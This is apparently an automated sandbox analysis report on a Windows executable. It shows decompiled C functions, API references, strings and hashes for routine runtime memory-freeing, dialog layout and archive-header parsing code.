Part of subcall function 013611FA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,01390078,?,0135CE91,00000000,?,00000050,01390078), ref: 01361217

_strlen.LIBCMT ref: 0135D752
SetDlgItemTextW.USER32(?,0138D154,?), ref: 0135D7B2
GetWindowRect.USER32(?,?), ref: 0135D7EC
GetClientRect.USER32(?,?), ref: 0135D7F8
GetWindowLongW.USER32(?,000000F0), ref: 0135D896
GetWindowRect.USER32(?,?), ref: 0135D8C3
SetWindowTextW.USER32(?,?), ref: 0135D906
GetSystemMetrics.USER32(00000008), ref: 0135D90E
GetWindow.USER32(?,00000005), ref: 0135D919
GetWindowRect.USER32(00000000,?), ref: 0135D946
GetWindow.USER32(00000000,00000002), ref: 0135D9B8

Strings

d, xrefs: 0135D818
CAPTION, xrefs: 0135D8E8
$%s:, xrefs: 0135D725

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 6cf75ff54bb12e5d300fa9a949b7d036bb814fd02795d8f941e374c4ded8025c
Instruction ID: 03b199cc2e04efb193699756c91357005d5a76d44b3aa355f6cc21b2805bef90
Opcode Fuzzy Hash: 6cf75ff54bb12e5d300fa9a949b7d036bb814fd02795d8f941e374c4ded8025c
Instruction Fuzzy Hash: FA8191711043419FD761DFA8C884F6FBBF9EB88B18F04091DFA84E7284D674E8098B52

Uniqueness

Uniqueness Score: -1.00%

Function 0137B784, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0137B784(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x138dd50) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E01377A50(_t46);
							E0137B363( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E01377A50(_t47);
							E0137B461( *((intOrPtr*)(_t74 + 0x88)));
						}
						E01377A50( *((intOrPtr*)(_t74 + 0x7c)));
						E01377A50( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E01377A50( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E01377A50( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E01377A50( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E01377A50( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E0137B8F7( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x138d818) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E01377A50(_t31);
							E01377A50( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E01377A50(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E01377A50(_t74);
			}

0x0137b78c
0x0137b790
0x0137b798
0x0137b7a1
0x0137b7a6
0x0137b7ad
0x0137b7b5
0x0137b7bd
0x0137b7c8
0x0137b7ce
0x0137b7cf
0x0137b7d7
0x0137b7df
0x0137b7ea
0x0137b7f0
0x0137b7f4
0x0137b7ff
0x0137b805
0x0137b7a6
0x0137b806
0x0137b80e
0x0137b821
0x0137b834
0x0137b842
0x0137b84d
0x0137b852
0x0137b85b
0x0137b863
0x0137b864
0x0137b86a
0x0137b86d
0x0137b870
0x0137b877
0x0137b879
0x0137b87d
0x0137b885
0x0137b88c
0x0137b892
0x0137b893
0x0137b893
0x0137b89a
0x0137b89c
0x0137b8a1
0x0137b8a9
0x0137b8ae
0x0137b8af
0x0137b8af
0x0137b8b2
0x0137b8b5
0x0137b8b8
0x0137b8bb
0x0137b8bb
0x0137b8cd

APIs

___free_lconv_mon.LIBCMT ref: 0137B7C8

Part of subcall function 0137B363: _free.LIBCMT ref: 0137B380
Part of subcall function 0137B363: _free.LIBCMT ref: 0137B392
Part of subcall function 0137B363: _free.LIBCMT ref: 0137B3A4
Part of subcall function 0137B363: _free.LIBCMT ref: 0137B3B6
Part of subcall function 0137B363: _free.LIBCMT ref: 0137B3C8
Part of subcall function 0137B363: _free.LIBCMT ref: 0137B3DA
Part of subcall function 0137B363: _free.LIBCMT ref: 0137B3EC
Part of subcall function 0137B363: _free.LIBCMT ref: 0137B3FE
Part of subcall function 0137B363: _free.LIBCMT ref: 0137B410
Part of subcall function 0137B363: _free.LIBCMT ref: 0137B422
Part of subcall function 0137B363: _free.LIBCMT ref: 0137B434
Part of subcall function 0137B363: _free.LIBCMT ref: 0137B446
Part of subcall function 0137B363: _free.LIBCMT ref: 0137B458

_free.LIBCMT ref: 0137B7BD

Part of subcall function 01377A50: RtlFreeHeap.NTDLL(00000000,00000000,?,0137B4F8,?,00000000,?,00000000,?,0137B51F,?,00000007,?,?,0137B91C,?), ref: 01377A66
Part of subcall function 01377A50: GetLastError.KERNEL32(?,?,0137B4F8,?,00000000,?,00000000,?,0137B51F,?,00000007,?,?,0137B91C,?,?), ref: 01377A78

_free.LIBCMT ref: 0137B7DF
_free.LIBCMT ref: 0137B7F4
_free.LIBCMT ref: 0137B7FF
_free.LIBCMT ref: 0137B821
_free.LIBCMT ref: 0137B834
_free.LIBCMT ref: 0137B842
_free.LIBCMT ref: 0137B84D
_free.LIBCMT ref: 0137B885
_free.LIBCMT ref: 0137B88C
_free.LIBCMT ref: 0137B8A9
_free.LIBCMT ref: 0137B8C1

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 46b7236bc66505615d2acb053f774d7b4ca94630c67fc6b62c1ba74df51caec5
Instruction ID: 4f50f2dc51515ca20efbd4b7ef9f70831ebeb402f8607c41684a9b235942505f
Opcode Fuzzy Hash: 46b7236bc66505615d2acb053f774d7b4ca94630c67fc6b62c1ba74df51caec5
Instruction Fuzzy Hash: 6C314D31600346EFFB71AA7DD888B57BBF8EF00358F145429E559D7254EE38A9808724

Uniqueness

Uniqueness Score: -1.00%

Function 0136C343, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 80
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0136C343(void* __edx, void* __eflags, void* __fp0, struct HWND__* _a4) {
				intOrPtr _v20;
				intOrPtr _v24;
				void _v28;
				short _v4124;
				void* _t10;
				struct HWND__* _t11;
				void* _t21;
				void* _t28;
				void* _t29;
				void* _t31;
				struct HWND__* _t34;
				void* _t45;

				_t45 = __fp0;
				_t29 = __edx;
				E0136D940();
				_t10 = E0136952A(__eflags);
				if(_t10 == 0) {
					return _t10;
				}
				_t11 = GetWindow(_a4, 5);
				_t34 = _t11;
				_t31 = 0;
				_a4 = _t34;
				if(_t34 == 0) {
					L11:
					return _t11;
				}
				while(_t31 < 0x200) {
					GetClassNameW(_t34,  &_v4124, 0x800);
					if(E01361410( &_v4124, L"STATIC") == 0 && (GetWindowLongW(_t34, 0xfffffff0) & 0x0000001f) == 0xe) {
						_t28 = SendMessageW(_t34, 0x173, 0, 0);
						if(_t28 != 0) {
							GetObjectW(_t28, 0x18,  &_v28);
							_t21 = E0136958C(_v20);
							SendMessageW(_t34, 0x172, 0, E0136975D(_t29, _t45, _t28, E01369549(_v24), _t21));
							DeleteObject(_t28);
						}
					}
					_t11 = GetWindow(_t34, 2);
					_t34 = _t11;
					if(_t34 != _a4) {
						_t31 = _t31 + 1;
						if(_t34 != 0) {
							continue;
						}
					}
					break;
				}
				goto L11;
			}

0x0136c343
0x0136c343
0x0136c34b
0x0136c350
0x0136c357
0x0136c42e
0x0136c42e
0x0136c364
0x0136c36a
0x0136c36c
0x0136c36e
0x0136c373
0x0136c429
0x00000000
0x0136c42a
0x0136c37a
0x0136c393
0x0136c3ac
0x0136c3ce
0x0136c3d2
0x0136c3db
0x0136c3e4
0x0136c402
0x0136c409
0x0136c409
0x0136c3d2
0x0136c412
0x0136c418
0x0136c41d
0x0136c41f
0x0136c422
0x00000000
0x00000000
0x0136c422
0x00000000
0x0136c41d
0x00000000

APIs

GetWindow.USER32(?,00000005), ref: 0136C364
GetClassNameW.USER32(00000000,?,00000800), ref: 0136C393

Part of subcall function 01361410: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,0135ACFE,?,?,?,0135ACAD,?,-00000002,?,00000000,?), ref: 01361426

GetWindowLongW.USER32(00000000,000000F0), ref: 0136C3B1
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0136C3C8
GetObjectW.GDI32(00000000,00000018,?), ref: 0136C3DB

Part of subcall function 0136958C: GetDC.USER32(00000000), ref: 01369598
Part of subcall function 0136958C: GetDeviceCaps.GDI32(00000000,0000005A), ref: 013695A7
Part of subcall function 0136958C: ReleaseDC.USER32(00000000,00000000), ref: 013695B5

Part of subcall function 01369549: GetDC.USER32(00000000), ref: 01369555
Part of subcall function 01369549: GetDeviceCaps.GDI32(00000000,00000058), ref: 01369564
Part of subcall function 01369549: ReleaseDC.USER32(00000000,00000000), ref: 01369572

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0136C402
DeleteObject.GDI32(00000000), ref: 0136C409
GetWindow.USER32(00000000,00000002), ref: 0136C412

Strings

STATIC, xrefs: 0136C399

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 1444658586-1882779555
Opcode ID: 8494ca0ddec80e80adc0f55cc3c4e409ce74affcc1988b9fc88fbf0314600f11
Instruction ID: 9bd8daea4db1d584dd65919e4918cba267964dab97aba6159dab69f519c1db81
Opcode Fuzzy Hash: 8494ca0ddec80e80adc0f55cc3c4e409ce74affcc1988b9fc88fbf0314600f11
Instruction Fuzzy Hash: 7321F6725403157BEB32ABA8CC4AFEE7A2CAF14718F00D011FB45B60C9CB74494587B4

Uniqueness

Uniqueness Score: -1.00%

Function 01378422, Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01378422(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0x1384be0) {
					E01377A50(_t52);
					_t26 = _a4;
				}
				E01377A50( *((intOrPtr*)(_t26 + 0x3c)));
				E01377A50( *((intOrPtr*)(_a4 + 0x30)));
				E01377A50( *((intOrPtr*)(_a4 + 0x34)));
				E01377A50( *((intOrPtr*)(_a4 + 0x38)));
				E01377A50( *((intOrPtr*)(_a4 + 0x28)));
				E01377A50( *((intOrPtr*)(_a4 + 0x2c)));
				E01377A50( *((intOrPtr*)(_a4 + 0x40)));
				E01377A50( *((intOrPtr*)(_a4 + 0x44)));
				E01377A50( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E013782E8(5,  &_v8);
				_v8 =  &_a4;
				return E01378338(4,  &_v8);
			}

0x01378428
0x0137842b
0x01378433
0x01378436
0x0137843b
0x0137843e
0x01378442
0x0137844d
0x01378458
0x01378463
0x0137846e
0x01378479
0x01378484
0x0137848f
0x0137849d
0x013784a5
0x013784ae
0x013784b6
0x013784ca

APIs

_free.LIBCMT ref: 01378436

Part of subcall function 01377A50: RtlFreeHeap.NTDLL(00000000,00000000,?,0137B4F8,?,00000000,?,00000000,?,0137B51F,?,00000007,?,?,0137B91C,?), ref: 01377A66
Part of subcall function 01377A50: GetLastError.KERNEL32(?,?,0137B4F8,?,00000000,?,00000000,?,0137B51F,?,00000007,?,?,0137B91C,?,?), ref: 01377A78

_free.LIBCMT ref: 01378442
_free.LIBCMT ref: 0137844D
_free.LIBCMT ref: 01378458
_free.LIBCMT ref: 01378463
_free.LIBCMT ref: 0137846E
_free.LIBCMT ref: 01378479
_free.LIBCMT ref: 01378484
_free.LIBCMT ref: 0137848F
_free.LIBCMT ref: 0137849D

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 67ddd0923392a1e016301d0c4b59042dd92cd5a79c7427334641c434dbe1be0b
Instruction ID: b6de2518ed7c82f5c60be3a6eba41fade8e6818cd1c85c9d0bc198cdb05f2b3f
Opcode Fuzzy Hash: 67ddd0923392a1e016301d0c4b59042dd92cd5a79c7427334641c434dbe1be0b
Instruction Fuzzy Hash: FC11B676100109FFEB51FFA8C844CDA3BB5EF18294B4151A5FA198F221EA35EB509B80

Uniqueness

Uniqueness Score: -1.00%

Function 0135200C, Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0135200C(intOrPtr __ecx) {
				signed int _t135;
				void* _t137;
				signed int _t139;
				unsigned int _t140;
				signed int _t144;
				signed int _t161;
				signed int _t164;
				void* _t167;
				void* _t172;
				signed int _t175;
				signed char _t178;
				signed char _t179;
				signed char _t180;
				signed int _t182;
				signed int _t185;
				signed int _t187;
				signed int _t188;
				signed char _t220;
				signed char _t232;
				signed int _t233;
				signed int _t236;
				intOrPtr _t240;
				signed int _t244;
				signed int _t246;
				signed int _t247;
				signed int _t257;
				signed int _t258;
				signed char _t262;
				signed int _t263;
				signed int _t265;
				intOrPtr _t272;
				intOrPtr _t275;
				intOrPtr _t278;
				intOrPtr _t314;
				signed int _t315;
				intOrPtr _t318;
				signed int _t322;
				void* _t323;
				void* _t324;
				void* _t326;
				void* _t327;
				void* _t328;
				void* _t329;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				intOrPtr* _t336;
				signed int _t339;
				void* _t340;
				signed int _t341;
				char* _t342;
				void* _t343;
				void* _t344;
				signed int _t348;
				signed int _t351;
				signed int _t366;

				E0136D940();
				_t318 =  *((intOrPtr*)(_t344 + 0x20b8));
				 *((intOrPtr*)(_t344 + 0xc)) = __ecx;
				_t314 =  *((intOrPtr*)(_t318 + 0x18));
				_t135 = _t314 -  *((intOrPtr*)(_t344 + 0x20bc));
				if(_t135 <  *(_t318 + 0x1c)) {
					L104:
					return _t135;
				}
				_t315 = _t314 - _t135;
				 *(_t318 + 0x1c) = _t135;
				if(_t315 >= 2) {
					_t240 =  *((intOrPtr*)(_t344 + 0x20c4));
					while(1) {
						_t135 = E0135C39E(_t315);
						_t244 = _t135;
						_t348 = _t315;
						if(_t348 < 0 || _t348 <= 0 && _t244 == 0) {
							break;
						}
						_t322 =  *(_t318 + 0x1c);
						_t135 =  *((intOrPtr*)(_t318 + 0x18)) - _t322;
						if(_t135 == 0) {
							break;
						}
						_t351 = _t315;
						if(_t351 > 0 || _t351 >= 0 && _t244 > _t135) {
							break;
						} else {
							_t339 = _t322 + _t244;
							 *(_t344 + 0x28) = _t339;
							_t137 = E0135C39E(_t315);
							_t340 = _t339 -  *(_t318 + 0x1c);
							_t323 = _t137;
							_t135 = _t315;
							_t246 = 0;
							 *(_t344 + 0x24) = _t135;
							 *(_t344 + 0x20) = 0;
							if(0 < 0 || 0 <= 0 && _t340 < 0) {
								break;
							} else {
								if( *((intOrPtr*)(_t240 + 4)) == 1 && _t323 == 1 && _t135 == 0) {
									 *((char*)(_t240 + 0x1e)) = 1;
									_t232 = E0135C39E(_t315);
									 *(_t344 + 0x1c) = _t232;
									if((_t232 & 0x00000001) != 0) {
										_t236 = E0135C39E(_t315);
										if((_t236 | _t315) != 0) {
											asm("adc eax, edx");
											 *((intOrPtr*)(_t240 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca0)) + _t236;
											 *((intOrPtr*)(_t240 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca4));
										}
										_t232 =  *(_t344 + 0x1c);
									}
									if((_t232 & 0x00000002) != 0) {
										_t233 = E0135C39E(_t315);
										if((_t233 | _t315) != 0) {
											asm("adc eax, edx");
											 *((intOrPtr*)(_t240 + 0x30)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca0)) + _t233;
											 *((intOrPtr*)(_t240 + 0x34)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca4));
										}
									}
									_t246 =  *(_t344 + 0x20);
									_t135 =  *(_t344 + 0x24);
								}
								if( *((intOrPtr*)(_t240 + 4)) == 2 ||  *((intOrPtr*)(_t240 + 4)) == 3) {
									_t366 = _t135;
									if(_t366 > 0 || _t366 >= 0 && _t323 > 7) {
										goto L102;
									} else {
										_t324 = _t323 - 1;
										if(_t324 == 0) {
											_t139 = E0135C39E(_t315);
											__eflags = _t139;
											if(_t139 == 0) {
												_t140 = E0135C39E(_t315);
												 *(_t240 + 0x10c1) = _t140 & 0x00000001;
												 *(_t240 + 0x10ca) = _t140 >> 0x00000001 & 0x00000001;
												_t144 = E0135C251(_t318) & 0x000000ff;
												 *(_t240 + 0x10ec) = _t144;
												__eflags = _t144 - 0x18;
												if(_t144 > 0x18) {
													E01353E41(_t344 + 0x38, 0x14, L"xc%u", _t144);
													_t257 =  *(_t344 + 0x28);
													_t167 = _t344 + 0x40;
													_t344 = _t344 + 0x10;
													E01353DEC(_t257, _t240 + 0x28, _t167);
												}
												E0135C300(_t318, _t240 + 0x10a1, 0x10);
												E0135C300(_t318, _t240 + 0x10b1, 0x10);
												__eflags =  *(_t240 + 0x10c1);
												if( *(_t240 + 0x10c1) != 0) {
													_t325 = _t240 + 0x10c2;
													E0135C300(_t318, _t240 + 0x10c2, 8);
													E0135C300(_t318, _t344 + 0x30, 4);
													E0135F524(_t344 + 0x58);
													E0135F56A(_t344 + 0x60, _t240 + 0x10c2, 8);
													_push(_t344 + 0x30);
													E0135F435(_t344 + 0x5c);
													_t161 = E0136F3CA(_t344 + 0x34, _t344 + 0x34, 4);
													_t344 = _t344 + 0xc;
													asm("sbb al, al");
													__eflags =  *((intOrPtr*)(_t240 + 4)) - 3;
													 *(_t240 + 0x10c1) =  ~_t161 + 1;
													if( *((intOrPtr*)(_t240 + 4)) == 3) {
														_t164 = E0136F3CA(_t325, 0x1382398, 8);
														_t344 = _t344 + 0xc;
														__eflags = _t164;
														if(_t164 == 0) {
															 *(_t240 + 0x10c1) = _t164;
														}
													}
												}
												 *((char*)(_t240 + 0x10a0)) = 1;
												 *((intOrPtr*)(_t240 + 0x109c)) = 5;
												 *((char*)(_t240 + 0x109b)) = 1;
											} else {
												E01353E41(_t344 + 0x38, 0x14, L"x%u", _t139);
												_t258 =  *(_t344 + 0x28);
												_t172 = _t344 + 0x40;
												_t344 = _t344 + 0x10;
												E01353DEC(_t258, _t240 + 0x28, _t172);
											}
											goto L102;
										}
										_t326 = _t324 - 1;
										if(_t326 == 0) {
											_t175 = E0135C39E(_t315);
											__eflags = _t175;
											if(_t175 != 0) {
												goto L102;
											}
											_push(0x20);
											 *((intOrPtr*)(_t240 + 0x1070)) = 3;
											_push(_t240 + 0x1074);
											L40:
											E0135C300(_t318);
											goto L102;
										}
										_t327 = _t326 - 1;
										if(_t327 == 0) {
											__eflags = _t246;
											if(__eflags < 0) {
												goto L102;
											}
											if(__eflags > 0) {
												L65:
												_t178 = E0135C39E(_t315);
												 *(_t344 + 0x13) = _t178;
												_t179 = _t178 & 0x00000001;
												_t262 =  *(_t344 + 0x13);
												 *(_t344 + 0x14) = _t179;
												_t315 = _t262 & 0x00000002;
												__eflags = _t315;
												 *(_t344 + 0x15) = _t315;
												if(_t315 != 0) {
													_t278 = _t318;
													__eflags = _t179;
													if(__eflags == 0) {
														E01360A64(_t240 + 0x1040, _t315, E0135C2E0(_t278, __eflags), _t315);
													} else {
														E01360A25(_t240 + 0x1040, _t315, E0135C29E(_t278), 0);
													}
													_t262 =  *(_t344 + 0x13);
													_t179 =  *(_t344 + 0x14);
												}
												_t263 = _t262 & 0x00000004;
												__eflags = _t263;
												 *(_t344 + 0x16) = _t263;
												if(_t263 != 0) {
													_t275 = _t318;
													__eflags = _t179;
													if(__eflags == 0) {
														E01360A64(_t240 + 0x1048, _t315, E0135C2E0(_t275, __eflags), _t315);
													} else {
														E01360A25(_t240 + 0x1048, _t315, E0135C29E(_t275), 0);
													}
												}
												_t180 =  *(_t344 + 0x13);
												_t265 = _t180 & 0x00000008;
												__eflags = _t265;
												 *(_t344 + 0x17) = _t265;
												if(_t265 != 0) {
													__eflags =  *(_t344 + 0x14);
													_t272 = _t318;
													if(__eflags == 0) {
														E01360A64(_t240 + 0x1050, _t315, E0135C2E0(_t272, __eflags), _t315);
													} else {
														E01360A25(_t240 + 0x1050, _t315, E0135C29E(_t272), 0);
													}
													_t180 =  *(_t344 + 0x13);
												}
												__eflags =  *(_t344 + 0x14);
												if( *(_t344 + 0x14) != 0) {
													__eflags = _t180 & 0x00000010;
													if((_t180 & 0x00000010) != 0) {
														__eflags =  *(_t344 + 0x15);
														if( *(_t344 + 0x15) == 0) {
															_t341 = 0x3fffffff;
															_t328 = 0x3b9aca00;
														} else {
															_t187 = E0135C29E(_t318);
															_t341 = 0x3fffffff;
															_t328 = 0x3b9aca00;
															_t188 = _t187 & 0x3fffffff;
															__eflags = _t188 - 0x3b9aca00;
															if(_t188 < 0x3b9aca00) {
																E013606D0(_t240 + 0x1040, _t188, 0);
															}
														}
														__eflags =  *(_t344 + 0x16);
														if( *(_t344 + 0x16) != 0) {
															_t185 = E0135C29E(_t318) & _t341;
															__eflags = _t185 - _t328;
															if(_t185 < _t328) {
																E013606D0(_t240 + 0x1048, _t185, 0);
															}
														}
														__eflags =  *(_t344 + 0x17);
														if( *(_t344 + 0x17) != 0) {
															_t182 = E0135C29E(_t318) & _t341;
															__eflags = _t182 - _t328;
															if(_t182 < _t328) {
																E013606D0(_t240 + 0x1050, _t182, 0);
															}
														}
													}
												}
												goto L102;
											}
											__eflags = _t340 - 5;
											if(_t340 < 5) {
												goto L102;
											}
											goto L65;
										}
										_t329 = _t327 - 1;
										if(_t329 == 0) {
											__eflags = _t246;
											if(__eflags < 0) {
												goto L102;
											}
											if(__eflags > 0) {
												L60:
												E0135C39E(_t315);
												__eflags = E0135C39E(_t315);
												if(__eflags != 0) {
													 *((char*)(_t240 + 0x10f3)) = 1;
													E01353E41(_t344 + 0x38, 0x14, L";%u", _t203);
													_t344 = _t344 + 0x10;
													E0135FA89(__eflags, _t240 + 0x28, _t344 + 0x30, 0x800);
												}
												goto L102;
											}
											__eflags = _t340 - 1;
											if(_t340 < 1) {
												goto L102;
											}
											goto L60;
										}
										_t330 = _t329 - 1;
										if(_t330 == 0) {
											 *((intOrPtr*)(_t240 + 0x1100)) = E0135C39E(_t315);
											 *(_t240 + 0x2104) = E0135C39E(_t315) & 0x00000001;
											_t331 = E0135C39E(_t315);
											 *((char*)(_t344 + 0xc0)) = 0;
											__eflags = _t331 - 0x1fff;
											if(_t331 < 0x1fff) {
												E0135C300(_t318, _t344 + 0xc4, _t331);
												 *((char*)(_t344 + _t331 + 0xc0)) = 0;
											}
											E0135B9DE(_t344 + 0xc4, _t344 + 0xc4, 0x2000);
											_push(0x800);
											_push(_t240 + 0x1104);
											_push(_t344 + 0xc8);
											E01361094();
											goto L102;
										}
										_t332 = _t330 - 1;
										if(_t332 == 0) {
											_t220 = E0135C39E(_t315);
											 *(_t344 + 0x1c) = _t220;
											_t342 = _t240 + 0x2108;
											 *(_t240 + 0x2106) = _t220 >> 0x00000002 & 0x00000001;
											 *(_t240 + 0x2107) = _t220 >> 0x00000003 & 0x00000001;
											 *((char*)(_t240 + 0x2208)) = 0;
											 *_t342 = 0;
											__eflags = _t220 & 0x00000001;
											if((_t220 & 0x00000001) != 0) {
												_t334 = E0135C39E(_t315);
												__eflags = _t334 - 0xff;
												if(_t334 >= 0xff) {
													_t334 = 0xff;
												}
												E0135C300(_t318, _t342, _t334);
												_t220 =  *(_t344 + 0x1c);
												 *((char*)(_t334 + _t342)) = 0;
											}
											__eflags = _t220 & 0x00000002;
											if((_t220 & 0x00000002) != 0) {
												_t333 = E0135C39E(_t315);
												__eflags = _t333 - 0xff;
												if(_t333 >= 0xff) {
													_t333 = 0xff;
												}
												_t343 = _t240 + 0x2208;
												E0135C300(_t318, _t343, _t333);
												 *((char*)(_t333 + _t343)) = 0;
											}
											__eflags =  *(_t240 + 0x2106);
											if( *(_t240 + 0x2106) != 0) {
												 *((intOrPtr*)(_t240 + 0x2308)) = E0135C39E(_t315);
											}
											__eflags =  *(_t240 + 0x2107);
											if( *(_t240 + 0x2107) != 0) {
												 *((intOrPtr*)(_t240 + 0x230c)) = E0135C39E(_t315);
											}
											 *((char*)(_t240 + 0x2105)) = 1;
											goto L102;
										}
										if(_t332 != 1) {
											goto L102;
										}
										if( *((intOrPtr*)(_t240 + 4)) == 3 &&  *((intOrPtr*)(_t318 + 0x18)) -  *(_t344 + 0x28) == 1) {
											_t340 = _t340 + 1;
										}
										_t336 = _t240 + 0x1028;
										E01351EDE(_t336, _t340);
										_push(_t340);
										_push( *_t336);
										goto L40;
									}
								} else {
									L102:
									_t247 =  *(_t344 + 0x28);
									 *(_t318 + 0x1c) = _t247;
									_t135 =  *((intOrPtr*)(_t318 + 0x18)) - _t247;
									if(_t135 >= 2) {
										continue;
									}
									break;
								}
							}
						}
					}
				}
			}

0x01352011
0x01352017
0x0135201e
0x01352022
0x01352027
0x01352031
0x01352688
0x0135268f
0x0135268f
0x01352037
0x01352039
0x0135203f
0x01352046
0x0135204f
0x01352051
0x01352056
0x01352058
0x0135205a
0x00000000
0x00000000
0x0135206d
0x01352070
0x01352072
0x00000000
0x00000000
0x01352078
0x0135207a
0x00000000
0x0135208a
0x0135208a
0x0135208f
0x01352093
0x01352098
0x0135209b
0x0135209d
0x0135209f
0x013520a1
0x013520a5
0x013520a9
0x00000000
0x013520b9
0x013520bd
0x013520ce
0x013520d2
0x013520d7
0x013520dd
0x013520e1
0x013520ea
0x01352102
0x01352104
0x01352107
0x01352107
0x0135210a
0x0135210a
0x01352110
0x01352114
0x0135211d
0x01352135
0x01352137
0x0135213a
0x0135213a
0x0135211d
0x0135213d
0x01352141
0x01352141
0x01352149
0x01352155
0x01352157
0x00000000
0x01352168
0x01352168
0x0135216b
0x0135251a
0x0135251f
0x01352521
0x01352551
0x0135255f
0x01352567
0x01352572
0x01352575
0x0135257b
0x0135257e
0x0135258d
0x01352592
0x01352596
0x0135259a
0x013525a2
0x013525a2
0x013525b2
0x013525c2
0x013525c7
0x013525ce
0x013525d6
0x013525df
0x013525ed
